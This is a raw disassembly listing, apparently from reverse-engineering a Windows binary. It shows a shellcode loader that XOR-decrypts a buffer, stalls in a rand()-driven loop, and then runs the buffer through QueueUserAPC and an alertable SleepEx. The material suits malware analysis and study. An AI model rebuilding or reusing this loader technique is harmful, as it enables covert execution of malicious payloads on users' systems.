mov eax, dword [rbp + 0x80c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x4b
jle 0x14000292b
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x3f
jle 0x14000291c
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x50]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x818], 0
jmp 0x140002a8c
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x50]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax - 0x10], dl
add dword [rbp + 0x818], 1
add dword [rbp + 0x81c], 1
mov eax, dword [rbp + 0x81c]
cmp eax, 0x51
jbe 0x1400027bb
mov dword [rbp + 0x81c], 0
jmp 0x140002b50
cmp dword [rbp + 0x814], 0x51
jne 0x140002b04
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x690]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x690]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x814], 0
jmp 0x140002b49
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x690]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x690]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x814], 1
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x51f
jle 0x140002ab1
mov rax, qword [rbp + 0x690]
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x808], 0xffffffff
add dword [rbp + 0x808], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffb21642c9
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x66c], edx
mov edx, dword [rbp + 0x66c]
imul edx, edx, 0x17
sub eax, edx
mov dword [rbp + 0x66c], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c670]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x66c]
movq xmm0, rax
call fcn.140003ef0
movq rax, xmm0
mov qword [rbp + 0x660], rax
cmp dword [rbp + 0x808], 0x306
jle 0x140002b78
mov rax, qword [rbp + 0x7f8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x670]
mov r9, qword [rbp + 0x658]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x650]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x890]
add rsp, 0x928
pop rbx
pop rsi
pop rdi
pop rbp
ret